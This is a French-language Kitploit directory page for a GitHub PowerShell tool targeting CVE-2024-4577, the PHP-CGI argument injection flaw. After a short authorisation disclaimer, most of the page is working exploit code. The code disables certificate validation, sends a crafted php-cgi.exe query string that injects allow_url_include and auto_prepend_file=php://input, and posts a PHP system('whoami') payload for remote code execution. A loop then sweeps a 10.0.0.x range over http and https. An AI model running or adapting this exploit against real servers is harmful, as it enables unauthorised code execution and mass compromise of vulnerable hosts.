Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-4577_PowerShell — 使用PowsrShell掃描CVE-2024-4577 | Kitploit
Outils/GitHubGitHub/tntrock/cve-2024-4577_powershell
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtntrock/cve-2024-4577_powershell

CVE-2024-4577_PowerShell

使用PowsrShell掃描CVE-2024-4577

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-4577_PowerShell

Attention :
Assurez-vous d'être autorisé à effectuer ce type de test de pénétration dans l'environnement cible. L'utilisation non autorisée de techniques d'attaque peut enfreindre les lois applicables.
Ce programme est fourni à des fins éducatives et de recherche uniquement. Utilisez-le dans le cadre légal et éthique.
Si vous ne comprenez pas les conséquences possibles des tests de pénétration, il est recommandé de faire appel à un expert en équipe rouge pour réaliser les tests.

Description

Commencez par désactiver la vérification des certificats web

root@kitploit:~
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Payload d'attaque principal

root@kitploit:~
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"

Regrouper dans une fonction et envoyer avec Invoke-WebRequest intégré à PowerShell (vous pouvez ajuster le paramètre TimeoutSec)

root@kitploit:~
function Invoke-RequestForIP {
    param (
        [string]$IP,
        [string]$Protocol
    )
    $url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
    $body = "<?php system('whoami'); die(); ?>"
    try {
        $response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
        return $response.Content
    } catch {
        return $_.Exception.Message
    }
}

Scanner 10.0.0.1 ~ 10.0.0.255 via une boucle

root@kitploit:~
$baseIP = "10.0.0."
$start = 1
$end = 255

for ($i = $start; $i -le $end; $i++) {
    $currentIP = $baseIP + $i
    foreach ($protocol in @("http", "https")) {
        $result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
        Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
    }
}

Références

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577

Télécharger l’outil